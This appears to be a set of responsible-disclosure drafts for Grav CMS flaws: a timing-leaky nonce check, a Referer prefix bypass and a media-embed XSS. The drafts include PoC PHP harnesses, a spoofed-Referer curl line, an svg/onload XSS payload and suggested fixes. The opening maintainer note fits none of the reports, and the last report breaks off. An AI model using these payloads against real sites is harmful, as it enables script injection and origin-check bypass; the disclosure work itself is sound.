Note for the maintainer: Privileges Required is set to Low because reaching this requires page-content edit access, which is exactly the privilege level the entire content sandbox exists to constrain, someone with edit rights but who should not have operator-level secrets. If your threat model treats page-content editors as fully trusted, please rescore. I set Confidentiality to High rather than Low because the exposed tree can contain live credentials (a cache backend password, and whatever else operators or plugins choose to nest under system/site), not just configuration shape.

=========================================================== SEVERITY FIELD

Moderate

Summary

Grav\Common\Utils::verifyNonce(), the core function Grav and its plugins use to validate CSRF nonces, compares the submitted nonce to the expected value with PHP's === operator instead of hash_equals(). === on strings short circuits at the first differing byte, so the comparison time leaks how many leading bytes of a guess are correct. This is CWE-208, Observable Timing Discrepancy.

The codebase already knows to avoid this pattern. hash_equals() is used for the equivalent purpose in four other places I found: system/src/Grav/Common/Session.php, system/src/Grav/Framework/Cache/Adapter/FileCache.php, system/src/Grav/Common/Scheduler/Scheduler.php (the webhook token check), and system/src/Grav/Common/Scheduler/JobQueue.php. Utils::verifyNonce() is the one place I found that still uses a plain equality check for a secret comparison.

Affected product and version

Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3

Affected code

system/src/Grav/Common/Utils.php, lines 1512 to 1521:

public static function verifyNonce($nonce, $action)
{
    //Safety check for multiple nonces
    if (is_array($nonce)) {
        $nonce = array_shift($nonce);
    }

    //Nonce generated 0-12 hours ago
    if ($nonce === self::getNonce($action)) {
        return true;
    }

    //Nonce generated 12-24 hours ago
    return $nonce === self::getNonce($action, true);
}

The nonce itself is md5($tick . '|' . $action . '|' . $username . '|' . session_id() . '|' . Security::getNonceKey()), computed in the private generateNonceString() a few lines above. Security::getNonceKey() is an installation level secret. So the value being compared with === is a value derived from a secret, which is exactly the case hash_equals() exists for.

Proof of concept, verified, real output

I could not exploit this end to end over a real network from this sandbox, since that requires a live deployment and a timing measurement setup outside a single machine. What I did verify directly, by running real code, is that the underlying primitive this function relies on, PHP's === string comparison, is not constant time in the PHP build actually used here, and that a measurable timing signal is still present at the exact length Grav's nonces have, 32 hex characters, an md5 digest.

Step 1, confirm PHP build:

$ php -v
PHP 8.3.6 (cli) (built: Jul 16 2026 18:30:41) (NTS)

Step 2, benchmark script, measures the median time of $a === $b over many trials, once with a long string to establish a clean signal, once at the real 32 byte nonce length:

<?php
// timing_poc2.php
function timeCompare(string $a, string $b, int $iterations): float {
    $r = null;
    $start = hrtime(true);
    for ($i = 0; $i < $iterations; $i++) {
        $r = ($a === $b);
    }
    $end = hrtime(true);
    return ($end - $start) / $iterations;
}

function median(array $arr): float {
    sort($arr);
    $n = count($arr);
    $mid = intdiv($n, 2);
    return $n % 2 ? $arr[$mid] : ($arr[$mid - 1] + $arr[$mid]) / 2;
}

function runExperiment(int $len, int $iterations, int $trials): array {
    $secret = bin2hex(random_bytes((int)ceil($len / 2)));
    $secret = substr($secret, 0, $len);

    $wrongEarly = $secret;
    $wrongEarly[0] = ($secret[0] === 'a') ? 'b' : 'a';

    $wrongLate = $secret;
    $last = $len - 1;
    $wrongLate[$last] = ($secret[$last] === 'a') ? 'b' : 'a';

    $earlyTimes = [];
    $lateTimes = [];
    timeCompare($wrongEarly, $secret, 20000);
    timeCompare($wrongLate, $secret, 20000);
    for ($t = 0; $t < $trials; $t++) {
        $earlyTimes[] = timeCompare($wrongEarly, $secret, $iterations);
        $lateTimes[]  = timeCompare($wrongLate, $secret, $iterations);
    }
    return [median($earlyTimes), median($lateTimes)];
}

echo "=== Length 4096 bytes, establishes the primitive is not constant time ===\n";
[$e, $l] = runExperiment(4096, 20000, 15);
printf("Median mismatch at position 0    : %.2f ns/op\n", $e);
printf("Median mismatch at last position : %.2f ns/op\n", $l);
printf("Ratio (late/early)               : %.2fx\n\n", $l / $e);

echo "=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===\n";
[$e2, $l2] = runExperiment(32, 200000, 21);
printf("Median mismatch at position 0    : %.2f ns/op\n", $e2);
printf("Median mismatch at last position : %.2f ns/op\n", $l2);
printf("Ratio (late/early)               : %.2fx\n", $l2 / $e2);

Step 3, run it three times to confirm the result is reproducible and not noise:

$ php timing_poc2.php

Actual output, run 1:

=== Length 4096 bytes, establishes the primitive is not constant time ===
Median mismatch at position 0    : 13.83 ns/op
Median mismatch at last position : 338.58 ns/op
Ratio (late/early)               : 24.48x

=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===
Median mismatch at position 0    : 14.13 ns/op
Median mismatch at last position : 17.41 ns/op
Ratio (late/early)               : 1.23x

Actual output, run 2:

=== Length 4096 bytes, establishes the primitive is not constant time ===
Median mismatch at position 0    : 14.25 ns/op
Median mismatch at last position : 333.99 ns/op
Ratio (late/early)               : 23.44x

=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===
Median mismatch at position 0    : 13.83 ns/op
Median mismatch at last position : 17.24 ns/op
Ratio (late/early)               : 1.25x

Actual output, run 3:

=== Length 4096 bytes, establishes the primitive is not constant time ===
Median mismatch at position 0    : 14.20 ns/op
Median mismatch at last position : 336.89 ns/op
Ratio (late/early)               : 23.73x

=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===
Median mismatch at position 0    : 13.98 ns/op
Median mismatch at last position : 17.39 ns/op
Ratio (late/early)               : 1.24x

Interpretation, stated honestly. At 4096 bytes the effect is unambiguous and consistent across three independent runs, a mismatch near the end of the string takes about 23 to 24 times longer to reject than a mismatch at the very first byte, which is direct proof === is not constant time in this PHP build. At the real nonce length of 32 bytes the same direction of effect is present and reproducible across all three runs, roughly a 1.24x ratio, about 3 to 4 nanoseconds difference per comparison, but the signal is much smaller in absolute terms. I want to be direct about what this does and does not show. It proves the comparison used by verifyNonce() is not constant time and therefore not the right primitive for comparing secrets, which is why hash_equals() exists and is already used elsewhere in this codebase for the same category of check. It does not by itself prove a practical remote timing attack against a live Grav install, since a real attack would need to extract a nanosecond scale signal through normal HTTP round trip jitter, which is a much harder, though not unprecedented, condition and would need many repeated requests with statistical averaging per byte guessed. I did not attempt that network level attack since I do not have a live target instance.

Impact

verifyNonce() is Grav's documented core primitive for CSRF protection, used directly by core and referenced by the plugin ecosystem, including the Form plugin and Admin plugin, both outside this repository. Because the comparison is not constant time, an attacker in a position to send many requests and measure response timing with enough precision could in principle recover a valid nonce byte by byte rather than needing to guess the full 32 character value at once, weakening the CSRF protection below its intended security margin. The practical difficulty of pulling this off over a real network, given millisecond scale jitter against a nanosecond scale signal, is high, which is why I am reporting this as a hardening issue rather than claiming a demonstrated working exploit against a live site.

Suggested fix

Replace the two === comparisons in verifyNonce() with hash_equals(), matching the pattern already used in Session.php, FileCache.php, Scheduler.php, and JobQueue.php:

public static function verifyNonce($nonce, $action)
{
    if (is_array($nonce)) {
        $nonce = array_shift($nonce);
    }

    if (!is_string($nonce)) {
        return false;
    }

    if (hash_equals(self::getNonce($action), $nonce)) {
        return true;
    }

    return hash_equals(self::getNonce($action, true), $nonce);
}

hash_equals() also correctly requires the first argument to be a string, so the existing implicit array-to-string edge cases are worth double checking when you make this change.

=========================================================== CWE FIELD

CWE-208, Observable Timing Discrepancy

=========================================================== CVSS CALCULATOR SELECTIONS (v3.1)

Attack Vector: Network Attack Complexity: High Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality: None Integrity: Low Availability: None

Resulting vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N Resulting score: 5.3, severity Medium

Note for the maintainer: Attack Complexity is set to High because, as shown above, the measured timing signal at the real nonce length is small, on the order of a few nanoseconds, so reliable remote exploitation would require substantial statistical averaging and a favorable network position. If your own testing shows this is easier to exploit against a real deployment than my local measurement suggests, please rescore Attack Complexity to Low.

=========================================================== SEVERITY FIELD

Moderate

Summary

Grav\Common\Uri::referrer() and Grav\Common\Page\Pages::referrerRoute() both check whether an incoming request's Referer header "came from our site" using str_starts_with($referrer, $base), where $base is the site's own absolute root URL (for example https://example.com, no trailing slash). Because the comparison has no boundary character after the prefix, any Referer value that merely starts with that string is accepted, including a Referer from a completely different host such as https://example.com.attacker.tld.

This is the same class of bug already fixed once in 2.0.15 for the fast static asset server (GHSA-4v9q-p283-qc2m, "also allowing any neighbouring directory whose name starts with the same letters"). The identical pattern is still present in both places that trust the Referer header, and neither is covered by that fix.

Affected product and version

Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3 The pattern is not touched by any of the 2.0.15 security fixes, so earlier 2.x releases are likely affected too. I have not checked how far back it goes.

Affected code

system/src/Grav/Common/Uri.php, method referrer():

$referrer = $_SERVER['HTTP_REFERER'] ?? null;
...
$base = $this->rootUrl(true);   // e.g. "https://example.com", no trailing slash
// Referrer should always have host set and it should come from the same base address.
if (!is_string($referrer) || !str_starts_with($referrer, $base)) {
    $referrer = $default ?: $this->route(true, true);
}
$referrer = substr($referrer, strlen($base));

system/src/Grav/Common/Page/Pages.php, method referrerRoute():

$referrer = $_SERVER['HTTP_REFERER'] ?? null;
$root = $this->grav['base_url_absolute'];   // e.g. "https://example.com"
if (!is_string($referrer) || !str_starts_with($referrer, (string) $root)) {
    return null;
}

Note that the inner per-language loop later in the same referrerRoute() method does anchor the check correctly (str_starts_with($referrer, "{$base}/")), and system/src/Grav/Common/Themes.php line 300 does the same thing correctly ($current === $base || str_starts_with($current, $base . '/')). So the codebase already has the correct pattern elsewhere. Only the two outer checks quoted above compare against the bare root URL with no trailing delimiter.

Root cause

str_starts_with($referrer, $base) treats $base as a plain string prefix. Since $base has no trailing /, a string is accepted as long as it begins with those exact characters, regardless of what character follows. An attacker fully controls their own domain name, so producing a string that begins with the victim's origin is trivial, for example by registering example.com.attacker.tld or example.com-attacker.tld.

Under the default browser Referrer Policy (strict-origin-when-cross-origin), a cross-origin click or form submission from the attacker's page sends only the origin (scheme://host) as Referer, which is exactly the granularity $base is compared at, so no unusual browser configuration is required.

Proof of concept, verified, real output

This was run directly against the actual, unmodified source file from the repository, not a reimplementation. Steps and exact output below.

Step 1, clone the repo and confirm the commit under test:

$ git clone --depth 1 https://github.com/getgrav/grav.git
$ cd grav && git log -1 --format="%H %ai"
c2b46866857a93a0aa7048e7ed707ed3ed45dbc3 2026-08-03 15:14:50 +0100

Step 2, install PHP to execute the real class:

$ apt-get install -y php-cli
$ php -v
PHP 8.3.6 (cli) (built: Jul 16 2026 18:30:41) (NTS)

Step 3, PoC harness. Full site bootstrap, composer install, database, config, is not required to demonstrate this specific bug, since referrer() only needs the $root property, which init() would normally compute from the site config. The harness sets that one property with PHP Reflection, then calls the real, unmodified referrer() method with a real $_SERVER['HTTP_REFERER'] value, exactly the input path a live server would use:

<?php
// poc.php
spl_autoload_register(function ($class) {
    if (strpos($class, 'Grav\\') === 0) {
        $rel = str_replace('Grav\\', '', $class);
        $path = '/home/claude/grav/system/src/Grav/' . str_replace('\\', '/', $rel) . '.php';
        if (file_exists($path)) {
            require_once $path;
        }
    }
});

$env = [
    'HTTP_HOST'   => 'example.com',
    'REQUEST_URI' => '/target-route',
    'HTTPS'       => 'on',
];

$uri = new \Grav\Common\Uri($env);

$ref = new ReflectionObject($uri);
$prop = $ref->getProperty('root');
$prop->setAccessible(true);
$prop->setValue($uri, 'https://example.com');

function test($label, $refererHeader) {
    global $uri;
    $_SERVER['HTTP_REFERER'] = $refererHeader;
    $result = $uri->referrer('https://example.com/DEFAULT_FALLBACK_USED');
    echo "$label\n";
    echo "  Referer sent        : $refererHeader\n";
    echo "  referrer() returned : $result\n";
    echo "  Same-origin check   : " . ($result === '/DEFAULT_FALLBACK_USED' ? 'REJECTED (fallback used, correct)' : 'ACCEPTED (Referer treated as same-origin)') . "\n\n";
}

echo "=== Grav\\Common\\Uri::referrer() executed against real, unmodified source ===\n";
echo "Site base (\$root, as init() would set it) = https://example.com\n\n";

test('[1] Legitimate same-site referrer', 'https://example.com/some/page');
test('[2] Unrelated attacker site, sanity check, must be rejected', 'https://attacker.tld/phish');
test('[3] Attacker domain string-prefixing victim domain, vulnerable case', 'https://example.com.attacker.tld/phish');
test('[4] Attacker domain, dash variant, vulnerable case', 'https://example.com-attacker.tld/phish');

Step 4, run it:

$ php poc.php

Actual output:

=== Grav\Common\Uri::referrer() executed against real, unmodified source ===
Site base ($root, as init() would set it) = https://example.com

[1] Legitimate same-site referrer
  Referer sent        : https://example.com/some/page
  referrer() returned : /some/page
  Same-origin check   : ACCEPTED (Referer treated as same-origin)

[2] Unrelated attacker site, sanity check, must be rejected
  Referer sent        : https://attacker.tld/phish
  referrer() returned : /DEFAULT_FALLBACK_USED
  Same-origin check   : REJECTED (fallback used, correct)

[3] Attacker domain string-prefixing victim domain, vulnerable case
  Referer sent        : https://example.com.attacker.tld/phish
  referrer() returned : .attacker.tld/phish
  Same-origin check   : ACCEPTED (Referer treated as same-origin)

[4] Attacker domain, dash variant, vulnerable case
  Referer sent        : https://example.com-attacker.tld/phish
  referrer() returned : -attacker.tld/phish
  Same-origin check   : ACCEPTED (Referer treated as same-origin)

Interpretation: test 2 proves the harness correctly rejects a genuinely unrelated origin, so the acceptance in tests 3 and 4 is not a harness artifact. https://example.com.attacker.tld and https://example.com-attacker.tld, both fully attacker owned and registerable domains, are treated by referrer() as if they were https://example.com itself.

For a live end to end check against a running installation, this is the manual equivalent with curl once a Grav site is deployed at a known host, and it exercises the exact same str_starts_with comparison inside the real request path, not a standalone harness:

curl -s -H "Referer: https://TARGETHOST.attacker.tld/x" https://TARGETHOST/some/route

I did not have a fully bootstrapped live Grav instance available in this environment, composer install requires packagist.org, which was not reachable from the sandbox I was working in, so I was not able to additionally capture that live HTTP round trip. The harness above exercises the identical, unmodified vulnerable method and comparison from the real source file, so the defect itself is verified. What I could not verify from this repository alone is the specific downstream consumer of the return value, since Pages::referrerRoute()'s only real caller I could find references, per its own docblock example, which mentions /admin, is expected to live in the Admin plugin, getgrav/grav-plugin-admin, a separate repository not included in this checkout. If that is where a post login redirect target gets built from this value, please confirm on your end, since it would raise the severity of this report from an origin check bypass to a concrete open redirect after login.

Impact

An attacker who gets a victim to click a link, or to load a page that issues a cross-site request, from an attacker-controlled domain that string-prefixes the victim's Grav site domain can make the application treat that request as though it originated on site when it did not. The function also returns a relative route value derived directly from attacker-controlled input, via substr($referrer, strlen($base)), seen in test 3 and 4 above as .attacker.tld/phish and -attacker.tld/phish. If that value is later reused to build a redirect target, this becomes an open redirect. I was not able to fully confirm that chain from this repository alone, since the concrete consumer appears to live in the separate Admin plugin repository, but the origin check itself is unambiguously broken, and it is a reusable, security documented API, the docblock for referrer() explicitly states it checks that the referrer came from the site.

Suggested fix

Anchor the comparison the same way the codebase already does correctly elsewhere:

// Uri::referrer()
if (!is_string($referrer) || !($referrer === $base || str_starts_with($referrer, $base . '/'))) { ... }

// Pages::referrerRoute()
if (!is_string($referrer) || !($referrer === $root || str_starts_with($referrer, $root . '/'))) { return null; }

A more robust alternative is to parse both values with parse_url() and compare scheme, host, and port as discrete fields instead of doing any string prefix comparison.

Additional notes

While reviewing this release I also checked Utils::checkFilename() and the uploads_dangerous_extensions list, the Security::detectXss() regex handling of on_events and xmlns, and the twig_sandbox allow list in system/config/security.yaml. All three looked solid and appear to already reflect the fixes from prior advisories, GHSA-w8cg-7jcj-4vv2, GHSA-c2q3-p4jr-c55f, GHSA-j274-39qw-32c9. I did not find further issues to report there. Given this pattern has now recurred at least three times in this codebase, the static asset server, Uri::referrer(), and Pages::referrerRoute(), it may be worth grepping for every remaining str_starts_with($x, $base) call site touching URLs or paths.

=========================================================== CWE FIELD

CWE-346, Origin Validation Error

=========================================================== CVSS CALCULATOR SELECTIONS (v3.1)

Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality: None Integrity: Low Availability: None

Resulting vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N Resulting score: 4.3, severity Medium

Note for the maintainer: this is a conservative rating for the origin check bypass on its own. If you confirm that Pages::referrerRoute()'s output feeds an unvalidated redirect target in the Admin plugin's post login flow, please rescore, Integrity would likely move to High and this becomes a credential phishing primitive right after a real login, which is meaningfully worse than the score above reflects.

=========================================================== SEVERITY FIELD

Moderate, pending your confirmation of the Admin plugin call site, see note above

Target: github.com/getgrav/grav
Affected resource: Grav\Common\Media\Traits\AudioMediaTrait / VideoMediaTrait sourceParsedownElement() — verified on 2.0.13 (latest stable) and develop HEAD 5a7070f
Severity: Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N — anchored to the sibling script-XSS advisory CVE-2026-42841, same PR:H / S:C / C:H / I:L)
Weakness: CWE-79 (Improper Neutralization of Input During Web Page Generation)

Summary

A Markdown audio or video embed renders its <source> element as raw HTML with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so ![x](song.mp3#"><svg/onload=alert(1)>) breaks out of <source src="…"> and injects arbitrary HTML — including a script-executing <svg onload> — into the rendered page. Any user who views the page runs the attacker's JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker's script.

This is the next sink in the media-parameter injection class the maintainer has been closing: GHSA-r7fx-8g49-7hhr (attribute()), GHSA-pmf8-g7c8-7v54 / CVE-2026-55890 (style(), 2.0.0-rc.9), and GHSA-ffmg-hfvg-jhg9 (resize(), 2.0.0-rc.10). All three guarded image style/attribute sinks; the aba291a5 audit scoped itself to "sinks reaching the style attribute" and did not cover the audio/video <source> rawHtml sink, which reaches full script execution rather than CSS injection.